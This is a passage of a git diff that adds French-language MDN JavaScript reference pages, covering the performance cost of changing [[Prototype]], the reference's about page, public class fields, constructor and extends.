+<p>La plupart des propriétés ne sont pas rattachées <em>directement</em> aux objets. Il faut souvent passer par la chaîne de prototypes. On ajoute donc quelques « sauts » via le champ <code>prototype</code> pour atterrir sur l'objet qui contient la propriété. Pour obtenir une optimisation <em>correcte</em>, il faut vérifier qu'aucun objet de la chaîne de prototypes n'a cette propriété. Autrement dit, à chaque saut, il faut vérifier la forme de l'objet.</p>
+
+<pre class="brush: js">var d = new Date();
+d.toDateString(); // Date.prototype.toDateString
+
+function Pair(x, y) { this.x = x; this.y = y; }
+Pair.prototype.sum = function() { return this.x + this.y; };
+
+var p = new Pair(3, 7);
+p.sum(); // Pair.prototype.sum</pre>
+
+<p>Dans la plupart des cas, les moteurs utilisent cette approche rapide. Toutefois, lorsque les performances jouent un rôle déterminant, cette approche n'est pas suffisante.</p>
+
+<h2 id="L'optimisation_intelligente_des_propriétés_héritées">L'optimisation intelligente des propriétés héritées</h2>
+
+<p>Lors des accès prédictibles, on trouve <em>généralement</em> la propriété en un nombre constant de sauts le long de la chaîne. Les objets de chaîne n'acquièrent <em>généralement</em> pas de nouvelle propriétés et l'objet final n'est <em>généralement</em> pas affecté par une <a href="Opérateurs/L_opérateur_delete">suppression</a> de propriétés. Enfin, <strong>la modification de <strong><code>[[Prototype]]</code> est</strong> rare</strong>.  Ces hypothèses sont nécessaires pour éviter de « sauter » sur chacun des prototypes. Les différents moteurs optent pour différentes approches afin d'optimiser les propriétés héritées de façon intelligente.</p>
+
+<dl>
+ <dt>La forme de l'objet <em>final</em> qui contient la propriété héritée peut être vérifiée.</dt>
+ <dd>Dans ce cas, si on teste les formes, cela implique qu'aucun prototype n'a été modifié sur la chaîne. Ainsi, lorsqu'un prototype est modifié, les formes de tous les objets situés sur le long de la chaîne doivent être changées.</dd>
+ <dd>
+ <pre class="brush: js">var obj1 = {};
+var obj2 = Object.create(obj1);
+var obj3 = Object.create(obj2);
+
+// Les objets dont la forme va changer
+// obj3, obj2, obj1, Object.prototype
+obj3.__proto__ = {};</pre>
+ </dd>
+ <dt>La forme de l'objet initial peut être vérifiée.</dt>
+ <dd>Chaque objet qui peut hériter d'une propriété via un prototype modifié doit être modifié afin de refléter ces changements.</dd>
+ <dd>
+ <pre class="brush: js">var obj1 = {};
+var obj2 = Object.create(obj1);
+var obj3 = Object.create(obj2);
+
+// Les objets dont la forme va changer
+// obj1, obj2, obj3
+obj1.__proto__ = {};</pre>
+ </dd>
+</dl>
+
+<h2 id="Les_effets_néfastes_de_la_modification_de_Prototype">Les effets néfastes de la modification de <code>[[Prototype]]</code></h2>
+
+<p>Les changements de <code>[[Prototype]]</code> impactent les performances sur deux phases : lors du changement puis par la suite. Pour commencer, <strong>modifier <code>[[Prototype]]</code> est lent</strong>, ensuite <strong>modifier <code>[[Prototype]]</code> ralentit le code qui doit interagir avec les objets dont <code>[[Prototype]]</code> a été modifié</strong>.</p>
+
+<h3 id="Modifier_un_Prototype_prend_du_temps">Modifier un <code>[[Prototype]]</code> prend du temps</h3>
+
+<p>Bien que la spécification représente le changement de <code>[[Prototype]]</code> comme la simple modification d'une propriété cachée, les implémentations réelles sont beaucoup plus complexes. Les tactiques précédentes utilisant les formes nécessitent d'examiner (et de modifier) plus d'un objet. Dans la pratique, l'approche qui modifiera le moins d'objets sera différente en fonction de la charge provoquée par le cas d'usage.</p>
+
+<h3 id="Les_Prototypes_modifiés_ralentissent_le_code">Les <code>[[Prototype]]</code>s modifiés ralentissent le code</h3>
+
+<p>Les mauvaises nouvelles ne s'arrêtent une fois la modification terminée. De nombreuses opérations utilisées pour examiner les propriétés reposent sur l'hypothèse de conservation de la chaîne de <code>[[Prototype]]</code>. Lorsque le moteur observe une modification, l'objet avec le prototype modifié « empoisonne » tout le code qui manipule cet objet. Voici un cas d'école assez désastreux :</p>
+
+<pre class="brush: js">var obj = {};
+obj.__proto__ = { x: 3 }; // modification gratuite
+
+var arr = [obj];
+for (var i = 0; i &lt; 5; i++)
+  arr.push({ x: i });
+
+function f(v, i) {
+  var elt = v[i];
+  var r =  elt.x &gt; 2 // non optimal
+           ? elt
+           : { x: elt.x + 1 };
+  return r;
+}
+var c = f(arr, 0);
+c.x; // non optimal : la valeur a des propriétés inconnues
+c = f(arr, 1);
+c.x; // non optimal !
+
+var arr2 = [c];
+arr2[0].x; // non optimal
+</pre>
+
+<p>Seul le code exécuté à de nombreuses reprises est optimisé et cet exemple ne déclenche pas <em>tous</em> ces comportements. En revanche pour du code « chaud », on pourrait rencontrer ces problèmes.</p>
+
+<p>Pouvoir tracer l'utilisation d'un objet dont le prototype a été modifié, souvent parmi différents scripts, est extraordinairement complexe. Cela nécessite une analyse textuelle soignée et dépend des comportements à l'exécution. Des modifications indépendentes en apparence peuvent avoir des impacts bien plus loin et le code employé, auparavant optimal, sera alors sous-optimal et plus lent.</p>
+
+<p>Il faudrait sinon pouvoir stocker des informations <em>cross-objet</em>.</p>
+
+<p>Les informations <em>cross-objet</em> sont différentes des formes et on ne peut pas les vérifier simplement. Une modification apportée à cette information pourrait avoir des impacts à de nombreux emplacements, pas nécessairement évidents : dans ce cas, où vérifier que les hypothèses sont respectées ? Ainsi, plutôt que de vérifier ces hypothèses avant l'utilisation, on invalide <em>toutes</em> les hypothèses lorsqu'une modification se produit. Lorsque <code>[[Prototype]]</code> change, <em>tout</em> le code qui en dépend doit être rejeté.  L'opération <code>obj.__proto__ = ...</code> est donc lente par nature. En rejetant du code optimisé, cela rend le code beaucoup plus lent par la suite.</p>
+
+<p>Encore pire, lorsqu'on évalue <code>obj.prop</code>, le moteur voit que l'objet a eu son <code>[[Prototype]]</code> changé et les informations précédemment enregistrées à propos de l'objet deviennent inutiles et SpiderMonkey considère que l'objet possède des caractéristiques inconnues. Ainsi, tout code qui manipule cet objet par la suite prendra l'hypothèse correspondant au pire des cas. L'optimisation des moteurs de compilation à la volée fonctionnent sur l'hypothèse que <em>l'exécution à venir est similaire à l'exécution passée</em>. Si du code observe un objet avec un <code>[[Prototype]]</code> modifié, ce code observera vraisemblablement d'autres objets. C'est pourquoi, <strong>toutes les opérations qui intéragissent avec un objet dont le <code>[[Prototype]]</code> a changé, ne peuvent pas être optimisées</strong>.</p>
diff --git a/files/fr/web/javascript/reference/a_propos/index.html b/files/fr/web/javascript/reference/a_propos/index.html
new file mode 100644
index 0000000000..21628cac8b
--- /dev/null
+++ b/files/fr/web/javascript/reference/a_propos/index.html
@@ -0,0 +1,53 @@
+---
+title: À propos de cette référence
+slug: Web/JavaScript/Reference/A_propos
+tags:
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/About
+---
+<div>{{JsSidebar}}</div>
+
+<p>La référence JavaScript regroupe les différentes notions autour du langage JavaScript. L'ensemble du langage y est détaillé. Si vous développez une application JavaScript, vous pourrez utiliser ces différentes pages (d'où le titre de « référence »). Si vous apprenez JavaScript ou que vous souhaitez comprendre comment fonctionnent certains de ses composants, vous pouvez lire le <a href="/fr/docs/Web/JavaScript/Guide">Guide JavaScript</a>.</p>
+
+<p>Le langage JavaScript a été conçu pour être utilisé dans un environnement dans lequel il s'intègre : un navigateur, des scripts côté serveur, etc. De façon générale, cette référence ne cible pas un environnement en particulier et tente de rester le plus « agnostique » possible.</p>
+
+<h2 id="Où_trouver_des_informations_sur_JavaScript">Où trouver des informations sur JavaScript</h2>
+
+<p>La documentation JavaScript sur les fonctionnalités essentielles du langage (qui correspondent à <a href="/fr/docs/Web/JavaScript/Language_Resources">ECMAScript</a> pour la plupart) se trouve dans les sections suivantes :</p>
+
+<ul>
+ <li>Le <a href="/fr/docs/Web/JavaScript/Guide">Guide JavaScript</a></li>
+ <li>La <a href="/fr/docs/Web/JavaScript/Reference">Référence JavaScript</a></li>
+</ul>
+
+<p>Si vous découvrez JavaScript, vous pouvez débuter votre lecture avec le <a href="/fr/docs/Web/JavaScript/Guide">guide</a>. Une fois les fondamentaux acquis, vous pourrez utiliser la <a href="/fr/docs/Web/JavaScript/Reference">référence</a> pour obtenir plus d'informations sur les différents objets et éléments du langage.</p>
+
+<h2 id="Structure_de_cette_référence">Structure de cette référence</h2>
+
+<p>La référence JavaScript s'organise autour de différents chapitres :</p>
+
+<dl>
+ <dt><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux">Les objets natifs standards</a></dt>
+ <dd>Ce chapitre aborde l'ensemble des objets natifs standards JavaScript, ainsi que leurs méthodes et propriétés.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Reference/Instructions">Les instructions et déclarations</a></dt>
+ <dd>Les applications JavaScript sont composées d'instructions organisées grâce à une syntaxe. Une instruction peut s'étaler sur plusieurs lignes et plusieurs instructions peuvent être présentes sur une ligne si elles sont séparées par des points-virugles.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs">Les expressions et opérateurs</a></dt>
+ <dd>Ce chapitre traite des opérateurs présents en JavaScript ainsi que des expressions et des mots-clés du langage.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Reference/Fonctions">Les fonctions</a></dt>
+ <dd>Ce chapitre aborde les concepts sur les fonctions en JavaScript.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Reference/Classes">Les classes</a></dt>
+ <dd>Ce chapitre présente les classes, un sucre syntaxique pour les objets ajouté avec ECMAScript 2015.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Reference/Erreurs">Les erreurs</a></dt>
+ <dd>Un chapitre sur les erreurs, les exceptions et les avertissements utilisées en JavaScript.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/New_in_JavaScript">Les nouveautés en JavaScript</a></dt>
+ <dd>Ce chapitre aborde les différentes versions de JavaScript et les changements qui ont eu lieu.</dd>
+</dl>
+
+<h3 id="D'autres_pages_de_la_référence">D'autres pages de la référence</h3>
+
+<ul>
+ <li><a href="/fr/docs/JavaScript/R%C3%A9f%C3%A9rence_JavaScript/Annexes/Fonctionnalit%C3%A9s_d%C3%A9pr%C3%A9ci%C3%A9es">Les fonctionnalités dépréciées et obsolètes</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale">La grammaire lexicale de JavaScript</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Structures_de_donn%C3%A9es">Les types de données et les structures de données</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/classes/class_fields/index.html b/files/fr/web/javascript/reference/classes/class_fields/index.html
new file mode 100644
index 0000000000..24e654a85a
--- /dev/null
+++ b/files/fr/web/javascript/reference/classes/class_fields/index.html
@@ -0,0 +1,266 @@
+---
+title: Champs de classe publics
+slug: Web/JavaScript/Reference/Classes/Class_fields
+tags:
+  - Classes
+  - Fonctionnalité du langage
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Classes/Public_class_fields
+---
+<div>{{JsSidebar("Classes")}}{{SeeCompatTable}}</div>
+
+<div class="note">
+<p><strong>Cette page décrit des fonctionnalités expérimentales.</strong></p>
+
+<p>Les déclarations de champs, tant publics que privés, sont <a href="https://github.com/tc39/proposal-class-fields">une fonctionnalité expérimentale (étape 3)</a> proposée au <a href="https://tc39.github.io/beta/">TC39</a>, le comité des standards JavaScript.</p>
+
+<p>La prise en charge dans les navigateurs est limitée, mais cette fonctionnalité peut être utilisée à travers une étape de contruction avec des systèmes tels que <a href="https://babeljs.io/">Babel</a>. Voir <a href="https://wiki.developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Classes/Class_fields$edit#Browser_compatibility">l'information de compatibilité</a> ci-dessous.</p>
+</div>
+
+<p>Les champs publics, tant statiques que d'instance, sont des propriétés qui peuvent être écrites, et qui sont énumérables et configurables. En tant que telles, à la différence de leurs contreparties privées, elles participent à l'héritage du prototype.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">class ClasseAvecChampDInstance {
+  champDInstance = 'champ d\'instance'
+}
+
+class ClasseAvecChampStatique {
+  static champStatique = 'champ statique'
+}
+
+class ClasseAvecMethodeDInstancePublique {
+  methodePublique() {
+    return 'hello world'
+  }
+}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Champs_statiques_publics">Champs statiques publics</h3>
+
+<p>Les champs statiques publics sont utiles lorsque vous voulez qu'un champ n'existe qu'une seule fois par classe, pas dans chaque instance que vous créez. Cela est utile pour des caches, une configuration fixe, ou tout autres données dont vous n'avez pas besoin qu'elles soient répliquées à travers les instances.</p>
+
+<p>Les champs statiques publics sont déclarés en utilisant le mot-clé <code>static</code>. Ils sont ajoutés au constructeur de la classe au moment de l'évaluation de la classe en utilisant {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}. On y accède à nouveau à partir du constructeur de la classe.</p>
+
+<pre class="brush: js notranslate">class ClasseAvecChampStatique {
+  static champStatique = 'champ statique'
+}
+
+console.log(ClasseAvecChampStatique.champStatique)
+// affichage attendu : "champ statique"​
+</pre>
+
+<p>Les champs sans initialiseur sont initialisés à <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">class ClasseAvecChampStatique {
+  static champStatique
+}
+
+console.assert(ClasseAvecChampStatique.hasOwnProperty('champStatique'))
+console.log(ClasseAvecChampStatique.champStatique)
+// affichage attendu : "undefined"</pre>
+
+<p>Les champs statiques publics ne sont pas réinitialisés dans les sous-classes, mais on peut y accéder via la chaîne de prototypes.</p>
+
+<pre class="brush: js notranslate">class ClasseAvecChampStatique {
+  static champStatiqueDeBase = 'champ de base'
+}
+
+class SousClasseAvecChampStatique extends ClasseAvecChampStatique {
+  static sousChampStatique = 'champ de la sous-classe'
+}
+
+console.log(SousClasseAvecChampStatique.sousChampStatique)
+// affichage attendu : "champ de la sous-classe"
+
+console.log(SousClasseAvecChampStatique.champStatiqueDeBase)
+// affichage attendu : "champ de base"</pre>
+
+<p>Lors de l'initialisation des champs, <code>this</code> fait référence au constructeur de la classe. Vous pouvez aussi le référencer par son nom, et utiliser <code>super</code> pour obtenir le constructeur de la superclasse (s'il en existe un) :</p>
+
+<pre class="brush: js notranslate">class ClasseAvecChampStatique {
+  static champStatiqueDeBase = 'champ statique de base'
+  static autreChampStatiqueDeBase = this.champStatiqueDeBase
+
+  static methodeStatiqueDeBase() { return 'affichage de la méthode statique de base' }
+}
+
+class SousClasseAvecChampStatique extends ClasseAvecChampStatique {
+  static sousChampStatique = super.methodeStatiqueDeBase()
+}
+
+console.log(ClasseAvecChampStatique.autreChampStatiqueDeBase)
+// affichage attendu : "champ statique de base"
+
+console.log(SousClasseAvecChampStatique.sousChampStatique)
+// affichage attendu : "affichage de la méthode statique de base"
+</pre>
+
+<h3 id="Champs_dinstance_publics">Champs d'instance publics</h3>
+
+<p>Les champs d'instance publics existent dans chaque instance créée d'une classe. En déclarant un champ public, vous pouvez vous assurer que le champ est toujours présent, et que la définition de la classe est davantage auto-documentée.</p>
+
+<p>Les champs d'instance publics sont ajoutés grâce à {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}, soit au moment de la construction dans la classe de base (avant que le corps du constructeur ne soit exécuté), soit juste après le retour de <code>super()</code> dans une sous-classe.</p>
+
+<pre class="brush: js notranslate">class ClasseAvecChampDInstance {
+  champDInstance = 'champ d\'instance'
+}
+
+const instance = new ClasseAvecChampDInstance()
+console.log(instance.champDInstance)
+// affichage attendu : "champ d'instance"</pre>
+
+<p>Les champs sans initialiseur sont initialisés à <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">class ClasseAvecChampDInstance {
+  champdDInstance
+}
+
+const instance = new ClasseAvecChampDInstance()
+console.assert(instance.hasOwnProperty('champDInstance'))
+console.log(instance.champDInstance);
+// affichage attendu : "undefined"</pre>
+
+<p>À l'instar des propriétés, les noms de champ peuvent être calculés :</p>
+
+<pre class="brush: js notranslate">const PREFIXE = 'prefixe';
+
+class ClasseAvecNomDeChampCalcule {
+    [`${PREFIXE}Champ`] = 'champ préfixé'
+}
+
+const instance = new ClasseAvecNomDeChampCalcule()
+console.log(instance.prefixeChamp)
+// affichage attendu : "champ préfixé"</pre>
+
+<p>Lors de l'initialisation des champs, <code>this</code> fait référence à l'instance en cours de construction. Tout comme dans les méthodes d'instance publiques, si vous êtes dans une sous-classe, vous pouvez accéder au prototype de la superclasse en utilisant <code>super</code>.</p>
+
+<pre class="brush: js notranslate">class ClasseAvecChampDInstance {
+  champDInstanceDeBase = 'champ de base'
+  autreChampDInstanceDeBase = this.champDInstanceDeBase
+  methodeDInstanceDeBase() { return 'affichage de la méthode de base' }
+}
+
+class SousClasseAvecChampDInstance extends ClasseAvecChampDInstance {
+  sousChampDInstance = super.methodeDInstanceDeBase()
+}
+
+const base = new ClasseAvecChampDInstance()
+const sous = new SousClasseAvecChampDInstance()
+
+console.log(base.autreChampDInstanceDeBase)
+// affichage attendu : "champ de base"
+
+console.log(sous.sousChampDInstance)
+// affichage attendu : "affichage de la méthode de base"</pre>
+
+<h3 id="Méthodes_publiques">Méthodes publiques</h3>
+
+<h4 id="Méthodes_statiques_publiques">Méthodes statiques publiques</h4>
+
+<p>Le mot-clé <code><strong>static</strong></code> définit une méthode statique pour une classe. Les méthodes statiques ne sont pas appelées dans les instances de la classe. A la place, elles le sont dans la classe elle-même. Ce sont souvent des méthodes utilitaires, comme des fonctions pour créer ou cloner des objets.</p>
+
+<pre class="brush: js notranslate">class ClasseAvecMethodeStatique {
+  static methodeStatique() {
+    return 'la méthode statique a été appelée.';
+  }
+}
+
+console.log(ClasseAvecMethodeStatique.methodeStatique());
+// affichage attendu : "la méthode statique a été appelée."</pre>
+
+<p>Les méthodes statiques sont ajoutées au constructeur de la classe grâce à {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}} au moment de l'évaluation de la classe. Ces méthodes peuvent être écrites, ne sont pas énumérables et sont configurables.</p>
+
+<h4 id="Méthodes_dinstance_publiques">Méthodes d'instance publiques</h4>
+
+<p>Comme leur nom l'implique, les méthodes d'instance publiques sont des fonctions disponibles dans les instances de la classe.</p>
+
+<pre class="brush: js notranslate">class ClasseAvecMethodeDInstancePublique {
+  methodePublique() {
+    return 'hello world'
+  }
+}
+
+const instance = new ClasseAvecMethodeDInstancePublique()
+console.log(instance.methodePublique())
+// affichage attendu : "hello worl​d"</pre>
+
+<p>Les méthodes d'instance publiques sont ajoutées au prototype au moment de l'évaluation de la classe en utilisant {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}. Elles peuvent être écrites, ne sont pas énumérables et sont configurables.</p>
+
+<p>Vous pouvez utiliser des fonctions génératrices, asynchrones et génératrices asynchrones.</p>
+
+<pre class="brush: js notranslate">class ClasseAvecMethodesFantaisie {
+  *methodeGeneratrice() { }
+  async methodeAsynchrone() { }
+  async *methodeGeneratriceAsynchrone() { }
+}</pre>
+
+<p>A l'intérieur des méthodes d'instance, <code>this</code> fait référence à l'instance elle-même. Dans les sous-classes, <code>super</code> vous donne accès au prototype de la superclasse, ce qui vous permet d'appeler les méthodes de la superclasse.</p>
+
+<pre class="brush: js notranslate">class ClasseDeBase {
+  msg = 'hello world'
+  methodePubliqueDeBase() {
+    return this.msg
+  }
+}
+
+class SousClasse extends ClasseDeBase {
+  sousMethodePublique() {
+    return super.methodePubliqueDeBase()
+  }
+}
+
+const instance = new SousClasse()
+console.log(instance.sousMethodePublique())
+// affichage attendu : "hello worl​d"
+</pre>
+
+<p>Les accesseurs et les mutateurs sont des méthodes spéciales qui sont liées à une propriété de classe, et sont appelées lorsqu'on accède à cette propriété ou qu'on la définit. Utilisez la syntaxe <a href="https://developer.mozilla.org/fr-FR/docs/Web/JavaScript/Reference/Functions/get">get</a> et <a href="https://developer.mozilla.org/fr-FR/docs/Web/JavaScript/Reference/Functions/set">set</a> pour déclarer un accesseur ou un mutateur publique d'une instance.</p>
+
+<pre class="brush: js notranslate">class ClasseAvecGetSet {
+  #msg = 'hello world'
+  get msg() {
+    return this.#msg
+  }
+  set msg(x) {
+    this.#msg = `hello ${x}`
+  }
+}
+
+const instance = new ClasseAvecGetSet();
+console.log(instance.msg);
+// affichage attendu : "hello worl​d"
+
+instance.msg = 'gâteau';
+console.log(instance.msg);
+// affichage attendu : "hello gâteau"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Public and private instance fields', '#prod-FieldDefinition', 'FieldDefinition')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.classes.public_class_fields")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://rfrn.org/~shu/2018/05/02/the-semantics-of-all-js-class-elements.html">The Semantics of All JS Class Elements</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/classes/constructor/index.html b/files/fr/web/javascript/reference/classes/constructor/index.html
new file mode 100644
index 0000000000..0fd5c8941a
--- /dev/null
+++ b/files/fr/web/javascript/reference/classes/constructor/index.html
@@ -0,0 +1,104 @@
+---
+title: constructor
+slug: Web/JavaScript/Reference/Classes/constructor
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Classes/constructor
+---
+<div>{{jsSidebar}}</div>
+
+<p>La méthode <strong><code>constructor</code></strong> est une méthode qui est utilisée pour créer et initialiser un objet lorsqu'on utilise le mot clé {{jsxref("Opérateurs/class","class")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/classes-constructor.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">constructor([arguments]) { ... }</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Il ne peut y avoir qu'une seule méthode utilisant le mot-clé <code>constructor</code> au sein d'une classe. Une exception {{jsxref("SyntaxError")}} sera levée si la classe contient plusieurs méthodes <code>constructor</code>.</p>
+
+<p>Le constructeur peut utiliser le mot-clé {{jsxref("Opérateurs/super","super")}} afin d'appeler le constructeur de la classe parente.</p>
+
+<p>Si on ne définit pas une méthode <code>constructor</code>, un constructeur par défaut sera utilisé.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_la_méthode_constructor">Utiliser la méthode <code>constructor</code></h3>
+
+<p>Ce fragment de code est tiré de <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">cet exemple</a> :</p>
+
+<pre class="brush: js notranslate">class Carré extends Polygone {
+  constructor(longueur) {
+    // On utilise le constructeur de la classe parente
+    // avec le mot-clé super
+    super(longueur, longueur);
+    // Pour les classes dérivées, super() doit être appelé avant de
+    // pouvoir utiliser 'this' sinon cela provoque une exception
+    // ReferenceError
+    this.nom = 'Carré';
+  }
+
+  get aire() {
+    return this.hauteur * this.largeur;
+  }
+
+  set aire(valeur) {
+    this.aire = valeur;
+  }
+}</pre>
+
+<h3 id="Utiliser_un_constructeur_par_défaut">Utiliser un constructeur par défaut</h3>
+
+<p>Si vous ne définissez pas de méthode <code>constructor</code>, un constructeur par défaut sera utilisé. Pour les classes de base, le constructeur par défaut sera :</p>
+
+<pre class="brush: js notranslate">constructor() {}</pre>
+
+<p>Pour les classes dérivées, le constructeur par défaut sera :</p>
+
+<pre class="brush: js notranslate">constructor(...args) {
+  super(...args);
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-constructor', 'constructor')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-static-semantics-constructormethod', 'Constructor Method')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.classes.constructor")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/super">super()</a></code></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/class">Expression <code>class</code></a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Instructions/class">Déclaration <code>class</code></a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Classes">Les classes</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/classes/extends/index.html b/files/fr/web/javascript/reference/classes/extends/index.html
new file mode 100644
index 0000000000..20fc36fdf0
--- /dev/null
+++ b/files/fr/web/javascript/reference/classes/extends/index.html
@@ -0,0 +1,116 @@
+---
+title: extends
+slug: Web/JavaScript/Reference/Classes/extends
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Classes/extends
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p>Le mot-clé <strong><code>extends</code></strong> est utilisé dans les <a href="/fr/docs/Web/JavaScript/Reference/Instructions/class">déclarations</a> et <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/class">expressions de classes</a> afin de signifier qu'un type représenté par une classe hérite d'un autre type.</p>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{EmbedInteractiveExample("pages/js/classes-extends.html", "taller")}}</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">class ClasseFille extends ClasseParente { ... }
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Le mot-clé <code>extends</code> peut être utilisé pour créer des sous-classes de classes existantes (natives ou non).</p>
+
+<p>La propriété <code>.prototype</code> d'une classe fille (aussi appelée une <em>extension</em>) doit être un {{jsxref("Object")}} ou {{jsxref("null")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_extends">Utiliser <code>extends</code></h3>
+
+<p>Ce fragment de code est tiré de <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">cet exemple</a> et crée une classe <code>Carré</code> qui hérite de <code>Polygone</code> :</p>
+
+<pre class="brush: js">class Carré extends Polygone {
+  constructor(longueur) {
+    // On utilise le constructeur de la classe parente
+    // avec le mot-clé super
+    super(longueur, longueur);
+    // Pour les classes dérivées, super() doit être appelé avant de
+    // pouvoir utiliser 'this' sinon cela provoque une exception
+    // ReferenceError
+    this.nom = 'Carré';
+  }
+
+  get aire() {
+    return this.hauteur * this.largeur;
+  }
+
+}</pre>
+
+<h3 id="Utiliser_extends_avec_des_objets_natifs">Utiliser <code>extends</code> avec des objets natifs</h3>
+
+<p>Dans l'exemple suivant, on crée l'équivalent d'une sous-classe pour {{jsxref("Date")}} :</p>
+
+<pre class="brush: js">class maDate extends Date {
+  constructor() {
+    super();
+  }
+
+  getFormattedDate() {
+    var mois = ['Jan','Fév','Mar','Avr','Mai','Juin','Juil','Août','Sep','Oct','Nov','Déc'];
+    return this.getDate() + "-" + mois[this.getMonth()] + "-" + this.getFullYear();
+  }
+}</pre>
+
+<p>Ces exemples sont extraits de ces deux pages : <a href="https://googlechrome.github.io/samples/classes-es6/index.html">démonstration</a>, <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">source</a>.</p>
+
+<h3 id="Étendre_null">Étendre <code>null</code></h3>
+
+<p>Étendre {{jsxref("null")}} se fait comme avec une classe normale sauf que l'objet prototype n'hérite pas de {{jsxref("Object.prototype")}}.</p>
+
+<pre class="brush: js">class extensionNull extends null {
+  constructor() {}
+}
+
+Object.getPrototypeOf(extensionNull); // Function.prototype
+Object.getPrototypeOf(extensionNull.prototype); // null
+
+new extensionNull(); // ReferenceError
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-class-definitions', 'extends')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'extends')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
